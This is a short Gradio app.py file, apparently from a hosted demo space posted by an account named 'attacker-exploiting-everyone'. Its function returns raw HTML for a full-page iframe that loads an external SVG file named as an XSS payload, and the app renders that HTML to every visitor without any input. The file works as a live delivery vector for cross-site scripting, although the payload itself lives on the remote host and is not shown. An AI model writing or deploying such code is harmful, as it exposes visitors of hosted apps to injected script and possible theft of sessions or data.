gradio / app.py
attacker-exploiting-everyone's picture
Update app.py
ae08ae4 verified
raw
history blame
515 Bytes
import gradio as gr
def greet(name):
# Inject iframe to load the page and fill 100% of the page
iframe_code = '''
<iframe src="https://images.ctfassets.net/h0jtq0wdx190/3HivOdbWvD7QCDXEd53fx0/484ffd97340457cd7f1b954be06b5432/SVG_WEBPAGE_XSS.svg"
style="width: 100%; height: 100vh; border: none;"></iframe>
'''
# Return iframe as HTML
return iframe_code
# Allow raw HTML rendering, no inputs needed
demo = gr.Interface(fn=greet, inputs=None, outputs="html")
demo.launch()